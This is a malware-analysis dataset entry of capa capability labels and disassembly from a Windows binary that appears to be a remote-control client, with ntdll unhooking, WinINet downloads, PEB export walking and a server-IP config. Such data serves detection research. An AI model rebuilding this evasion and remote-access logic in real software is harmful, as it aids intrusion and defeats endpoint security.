joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002710
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
mov ecx, 0x208
call fcn.140009c64
mov rdi, rax
mov qword [rsp + 0x20], rax
xor esi, esi
xor ecx, ecx
mov edx, reloc.WS2_32.dll_recv
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1400027f4
lea rsi, [rbp + 0x218]
mov rcx, rsi
mov rdx, rdi
call fcn.140002604
lea r8, [0x14023cd70]
lea rcx, [rbp + 0x1f8]
mov rdx, rsi
call fcn.140002832
lea rdi, [rbp + 0x1f8]
mov rcx, rdi
call fcn.1400026f0
lea rdx, [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rcx, rdi
call fcn.1400026f6
lea rcx, [rbp + 0x218]
call fcn.1400026f6
cmp rsi, 0xffffffffffffffff
je 0x1400027f2
mov ebx, 0xffffffff
lea rdi, [rbp - 0x58]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rsi
mov rdx, rdi
call r14
inc ebx
test eax, eax
jne 0x1400027d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov esi, 1
cmp ebx, 9
ja 0x1400027f4
xor esi, esi
mov eax, esi
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret

Function at 0x140002995
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov edi, r8d
mov esi, edx
test ecx, ecx
je 0x1400029bf
call fcn.140002710
test eax, eax
je 0x140002a0d
call fcn.140002859
test eax, eax
je 0x140002a0d
call fcn.1400024dc
test eax, eax
je 0x140002a0d
test edi, edi
je 0x1400029cc
call fcn.140002909
test eax, eax
je 0x140002a0d
test esi, esi
je 0x140002a05
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140002971]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
add rsp, 0x38
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x38
pop rdi
pop rsi
ret
mov ecx, 1
call fcn.1401b7194
int3
Function at 0x140002a18
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
mov rax, qword [0x14026f700]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [0x1401e04be]
lea rbx, [rsp + 0x90]
movups xmmword [rbx + 0xe], xmm0
movaps xmm0, xmmword [str.C:WindowsSystem32_ntdll.dll]
movaps xmmword [rbx], xmm0
movabs rax, 0x6c642e6c6c64746e
lea rsi, [rsp + 0x80]
mov qword [rsi], rax
mov word [rsi + 8], WSAGetLastError
xor edi, edi
lea r14, [rsp + 0x60]
mov qword [r14 + 0x10], rdi
xorps xmm0, xmm0
movaps xmmword [r14], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r15, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x48], r15
mov rcx, r15
mov qword [rsp + 0x50], rax
mov rdx, rax
mov r8, r14
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rbp, qword [r14]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x40], rax
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
movsxd rsi, dword [rbp + 0x3c]
movzx r12d, word [rsi + rbp + 6]
test r12w, r12w
je 0x140002bc5
lea rdi, [rsi + rbp]
add rdi, 0x18
xor ebx, ebx
lea r15, str..text
movzx r13d, word [rbp + rsi + 0x14]
add r13, rdi
mov rcx, r13
mov rdx, r15
call fcn.1401c0a70
test eax, eax
jne 0x140002bb5
mov dword [rsp + 0x5c], 0
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
mov r8d, 0x40
lea r9, [rsp + 0x5c]
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r12
mov r8d, dword [r13 + 8]
mov edx, dword [r13 + 0xc]
lea rcx, [rdx + rbp]
add rdx, r14
call fcn.1401d61d0
mov r8d, dword [rsp + 0x5c]
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
xor r9d, r9d
call r12
movzx r12d, word [rbp + rsi + 6]
inc rbx
movzx eax, r12w
add rdi, 0x28
cmp rbx, rax
jb 0x140002b45
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, qword [rsp + 0x40]
call rsi
mov rcx, r14
call rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140009dc0
nop
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002c0f
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x92888
call fcn.140009d60
sub rsp, rax
mov rbx, rdx
mov r14, rcx
mov rax, qword [0x14026f700]
xor rax, rsp
mov qword [rsp + 0x92880], rax
lea rsi, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_107.0.5304.88_Safari_537.36
lea rax, [rsp + 0x92800]
mov ecx, recv
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov dword [rax + 0x70], 0x36332e
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140002ce6
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x140002ce6
mov rsi, rax
lea rdi, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rdi
xor edx, edx
call fcn.1401d6870
lea r9, [rsp + 0x3c]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x927c0
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002ce6
lea rdx, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rbx
call fcn.1401d61d0
mov rcx, qword [rsp + 0x92880]
xor rcx, rsp
call fcn.140009dc0
nop
add rsp, 0x92888
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x14000350c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
call fcn.140009bd0
mov rdi, rax
movsxd rax, dword [rax + 0x3c]
mov eax, dword [rdi + rax + 0x88]
mov ecx, dword [rdi + rax + 0x14]
mov qword [rsp + 0x28], rcx
test rcx, rcx
je 0x1400035a7
mov ecx, dword [rdi + rax + 0x1c]
add rcx, rdi
mov qword [rsp + 0x30], rcx
mov r12d, dword [rdi + rax + 0x20]
add r12, rdi
mov r13d, dword [rdi + rax + 0x24]
add r13, rdi
mov ebp, dword [rdi + rax + 0x18]
xor ebx, ebx
mov rax, qword [rsp + 0x30]
mov r14d, dword [rax + rbx*4]
test r14, r14
je 0x14000359d
test ebp, ebp
je 0x14000359d
xor r15d, r15d
movzx eax, word [r13 + r15*2]
cmp rbx, rax
jne 0x140003595
mov ecx, dword [r12 + r15*4]
add rcx, rdi
mov rdx, rsi
call fcn.1401c0a70
test eax, eax
je 0x1400035ab
inc r15
cmp rbp, r15
jne 0x140003577
inc rbx
cmp rbx, qword [rsp + 0x28]
jne 0x140003562
xor eax, eax
jmp 0x1400035b1
add rdi, r14
mov rax, rdi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14000371a
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x138], 0xfffffffffffffffe
mov rsi, rcx
call fcn.1400035c2
lea rcx, [0x14027b2c0]
lea rdx, str.Hello_World_
call fcn.1400038a3
lea rdx, [0x140003b0b]
mov rcx, rax
call fcn.140003b08
lea r8, str.C2111601_9D4C_40C213_BF2C_9DD8B9D022A8
mov edi, 1
xor ecx, ecx
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je 0x140003790
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140003848
movabs rax, 0xff00000008
lea rcx, [rbp + 0x128]
mov qword [rcx], rax
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov rcx, rsi
call fcn.14001095c
xor ecx, ecx
call fcn.14000f5d8
test eax, eax
je 0x140003834
xor ecx, ecx
call fcn.140014244
mov ecx, 0x18
call fcn.140003b40
mov qword [rbp + 0x130], rax
mov rcx, rax
call fcn.14000da7c
lea rcx, str.CMFCVisualManagerWindows
call fcn.140026518
lea rdx, [0x14023cb2a]
mov rcx, rsi
call fcn.140022cd0
lea rdi, [rbp - 0x60]
mov rcx, rdi
xor edx, edx
call fcn.140007c9c
mov qword [rsi + 0x40], rdi
mov rcx, rdi
call fcn.1400119fc
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
mov edx, 1
call qword [rax + reloc.WS2_32.dll_htonl]
call fcn.14001f880
lea rcx, [rbp - 0x60]
call fcn.140003b46
jmp 0x140003846
mov ecx, 0x67
xor edx, edx
mov r8d, 0xffffffff
call fcn.1400155e4
xor edi, edi
mov eax, edi
add rsp, 0x1c0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003c70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CRemoteControlClientDlg.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x1400118b7
cmp dword [rcx + 0xe8], 0
jne 0x1400118b7
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140014b60
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400118fb
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400118fb
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.1400120f4
jmp 0x1400118fd
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140004207
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov esi, edx
mov rdi, rcx
mov eax, edx
shr eax, 4
inc eax
movzx edx, ax
mov r8d, 6
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140004241
mov rcx, rdi
mov rdx, rax
mov r8d, esi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140004289
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret

Function at 0x140004289
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov edi, r8d
mov rbx, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140004306
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x140004306
mov rsi, rax
mov rcx, r14
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
setne cl
and edi, 0xf
je 0x1400042f6
test eax, eax
je 0x1400042f6
mov ecx, eax
mov rax, rsi
add rax, rcx
dec edi
movzx ecx, word [rsi]
lea rsi, [rsi + rcx*2]
add rsi, 2
cmp rsi, rax
setb cl
add edi, 0xffffffff
jae 0x1400042f6
cmp rsi, rax
jb 0x1400042db
test cl, cl
je 0x140004306
xor eax, eax
cmp word [rsi], 0
cmovne rax, rsi
jmp 0x140004308
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140008080
Capabilities:
Read .ini file

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
mov rsi, rcx
lea rax, str.._InitSystem.ini
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x20
lea rcx, str.Base
lea rdx, str.ServerIPAddress
lea r8, str.0.0.0.0
lea rdi, [rbp - 0x20]
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
add rsi, 0x180
mov rcx, rsi
mov rdx, rdi
call fcn.14000414e
mov rcx, rsi
call fcn.140008208
test al, al
jne 0x14000810b
lea rdx, str.0.0.0.0
mov rcx, rsi
call fcn.14000821b
mov ecx, eax
mov eax, 1
test cl, cl
je 0x140008181
mov rsi, rbp
mov rcx, rsi
call fcn.14000cbb8
lea rdx, [0x14023ccde]
mov rcx, rsi
mov r8d, 0x1002
xor r9d, r9d
call fcn.14000cd14
test eax, eax
je 0x140008177
movaps xmm0, xmmword [0x1401e1a60]
lea rsi, [rbp - 0x50]
movaps xmmword [rsi + 0x10], xmm0
movaps xmm0, xmmword [str._Base__r_nServerIPAddress169.254.76.130]
movaps xmmword [rsi], xmm0
movabs rax, 0x3033312e36372e
mov qword [rsi + 0x1f], rax
mov rcx, rsi
call fcn.1401c0af0
mov rcx, rbp
mov rdx, rsi
mov r8d, eax
call fcn.14000d180
mov rcx, rbp
call fcn.14000d300
mov rcx, rbp
call fcn.14000d364
xor eax, eax
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret

Function at 0x140009bd0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
ret

Function at 0x14000d0d8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rdx, [rsp + 0x34]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x30], eax
cmp eax, 0xffffffff
jne 0x14000d103
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000d10e
mov rax, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
lea rcx, [rbx + 0x18]
call fcn.140001dee
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140039c8c
int3

Function at 0x14000d12c
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
test r8d, r8d
jne 0x14000d13e
xor eax, eax
jmp 0x14000d15b
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x50]
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000d161
mov eax, dword [rsp + 0x50]
add rsp, 0x30
pop rbx
ret
lea rcx, [rbx + 0x18]
call fcn.140001dee
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140039c8c
int3
Function at 0x14000d180
Capabilities:
Write file on windows

Disassembly:
test r8d, r8d
je 0x14000d1be
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov rdi, rcx
mov ebx, r8d
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000d1bf
cmp dword [rsp + 0x50], ebx
jne 0x14000d1dc
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
lea rcx, [rdi + 0x18]
call fcn.140001dee
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140039c8c
int3
lea rcx, [rdi + 0x18]
call fcn.140001dee
or edx, 0xffffffff
mov r8, rax
lea ecx, [rdx + 0xe]
call fcn.140039954
int3
Function at 0x14000de38
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov rdi, rdx
mov r8, rcx
test rdx, rdx
je 0x14000ded8
movzx eax, word [rdx]
mov r9d, ebx
jmp 0x14000de74
movzx eax, ax
add rax, rdx
mov rdx, rax
inc r9d
movzx eax, word [rax]
test ax, ax
jne 0x14000de65
test r9d, r9d
je 0x14000ded8
cmp r9d, 1
jne 0x14000de98
mov r8, r14
xor edx, edx
xor ecx, ecx
call sub.SHELL32.dll_SHGetSpecialFolderLocation
test eax, eax
js 0x14000def1
xor eax, eax
jmp 0x14000dedb
lea esi, [r9 - 1]
mov rcx, rdi
test esi, esi
je 0x14000deb4
mov edx, esi
movzx eax, word [rcx]
add bx, ax
add rcx, rax
sub rdx, 1
jne 0x14000dea5
movzx edx, bx
mov rcx, r8
add edx, 2
call fcn.14000dc4c
movzx r8d, bx
mov rdx, rdi
mov rcx, rax
mov qword [r14], rax
call fcn.1401d61d0
mov eax, esi
jmp 0x14000dedb
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
call fcn.1400156e8
int3
Function at 0x14000e5d8
Capabilities:
Resolve dns

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
lea rbp, [rsp + 0x40]
mov rax, qword [0x14026f700]
xor rax, rbp
mov qword [rbp + 0x18], rax
mov r12d, r8d
mov r14, rdx
mov r15, rcx
xor ebx, ebx
mov qword [rbp], rbx
test rdx, rdx
jne 0x14000e618
mov ecx, 0x2726
jmp 0x14000e75f
xor edx, edx
lea r8d, [rdx + 0x10]
lea rcx, [rbp + 8]
call fcn.1401d6870
mov rcx, r14
call fcn.1401c15dc
inc eax
cdqe
lea rsi, [rax + rax]
mov eax, 0x80000000
add rax, rsi
mov ecx, 0xffffffff
cmp rax, rcx
ja 0x14000e75a
movsxd rdi, esi
cmp esi, 0x400
jg 0x14000e68a
mov rcx, rdi
call fcn.14000e020
test al, al
je 0x14000e68a
lea rax, [rdi + 0xf]
cmp rax, rdi
ja 0x14000e677
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.140009d60
sub rsp, rax
lea rdi, [rsp + 0x40]
jmp 0x14000e6bb
mov rax, rdi
not rax
cmp rax, 0x10
jb 0x14000e796
lea rcx, [rdi + 0x10]
call fcn.1401bfdec
test rax, rax
jne 0x14000e6ac
xor edi, edi
jmp 0x14000e6bb
and qword [rax], 0
mov rbx, rax
mov qword [rbp], rax
lea rdi, [rax + 0x10]
test rdi, rdi
je 0x14000e75a
mov byte [rdi], 0
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x14000e75a
mov eax, 2
mov word [rbp + 8], ax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0xc], eax
mov ecx, 0xffffffff
cmp eax, ecx
jne 0x14000e72e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14000e60e
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 0xc], eax
movzx ecx, r12w
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xa], ax
mov rax, qword [r15]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 8]
mov rcx, r15
mov rax, qword [rax + 0x68]
call qword [case.0x14002edba.0]
mov edi, eax
jmp 0x14000e767
mov ecx, 8
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor edi, edi
jmp 0x14000e774
mov rcx, rbx
mov rbx, qword [rbx]
call fcn.1401bf230
test rbx, rbx
jne 0x14000e769
mov eax, edi
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.140009dc0
lea rsp, [rbp + 0x20]
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80070216
call fcn.14000151c
int3

Function at 0x14000ecc0
Capabilities:
Connect socket

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.WS2_32.dll_connect]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x14001147c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
call fcn.140014b60
mov r8d, 5
mov rdx, rbx
mov rdi, qword [rax + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400114e6
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400114e6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call fcn.140011500
jmp 0x1400114e8
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140011878
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CRemoteControlClientDlg.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x1400118b7
cmp dword [rcx + 0xe8], 0
jne 0x1400118b7
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140014b60
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400118fb
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400118fb
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.1400120f4
jmp 0x1400118fd
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400119fc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbx, rcx
mov r12, qword [rcx + 0x100]
mov rdi, qword [rcx + 0xf8]
call fcn.140014b60
mov r13, qword [rax + 0x18]
cmp qword [rbx + 0xf0], 0
je 0x140011a67
call fcn.140014b60
mov r13, qword [rax + 0x18]
mov r8d, 5
mov rdx, qword [rbx + 0xf0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140011a7d
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rdi, rdi
je 0x140011a78
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test r12, r12
jne 0x140011a86
or rax, 0xffffffffffffffff
jmp 0x140011c3f
mov rcx, rbx
call fcn.140012038
mov rdi, rax
mov qword [rsp + 0x20], rax
call fcn.14001d3cc
xor r14d, r14d
mov dword [rsp + 0x78], r14d
xor esi, esi
mov qword [rsp + 0x88], rsi
xor r15d, r15d
mov dword [rsp + 0x80], r15d
test rdi, rdi
je 0x140011b67
call qword [sym.imp.USER32.dll_GetDesktopWindow]
cmp rdi, rax
je 0x140011b67
mov rcx, rdi
call qword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x140011b67
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_EnableWindow]
lea r14d, [rsi + 1]
mov dword [rsp + 0x78], r14d
call fcn.140021f9c
mov rdx, rax
test rax, rax
je 0x140011b5f
mov rcx, qword [rax]
mov rax, qword [rcx + 0xe8]
mov rcx, rdx
call qword [case.0x14002edba.0]
mov rsi, rax
mov qword [rsp + 0x88], rax
test rax, rax
je 0x140011b67
mov rax, qword [rax]
mov rcx, rsi
mov rax, qword [rax + 0x2a0]
call qword [case.0x14002edba.0]
test eax, eax
je 0x140011b67
mov rcx, rsi
call fcn.140024438
test eax, eax
je 0x140011b67
xor edx, edx
mov rcx, rsi
call fcn.140024464
mov r15d, r14d
mov dword [rsp + 0x80], r14d
jmp 0x140011b67
mov qword [rsp + 0x88], rsi
mov rcx, rbx
call fcn.14001d354
mov rcx, rdi
call fcn.140016dc8
mov r9, r13
mov r8, rax
mov rdx, r12
mov rcx, rbx
call fcn.140011798
test eax, eax
jne 0x140011bb6
cmp dword [rbx + 0x120], eax
jne 0x140011bb6
call fcn.140014b60
mov r13, qword [rax + 0x10]
mov rcx, rdi
call fcn.140016dc8
mov r9, r13
mov r8, rax
mov rdx, r12
mov rcx, rbx
call fcn.140011798
and dword [rbx + 0x120], 0
jmp 0x140011bde
test r15d, r15d
je 0x140011bf0
mov edx, 1
mov rcx, rsi
call fcn.140024464
test r14d, r14d
je 0x140011c03
mov edx, 1
mov rcx, rdi
call qword [sym.imp.USER32.dll_EnableWindow]
test rdi, rdi
je 0x140011c1d
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp rax, qword [rbx + 0x40]
jne 0x140011c1d
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetActiveWindow]
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0xc0]
call qword [case.0x14002edba.0]
mov rcx, rbx
call fcn.140012094
movsxd rax, dword [rbx + 0xb8]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret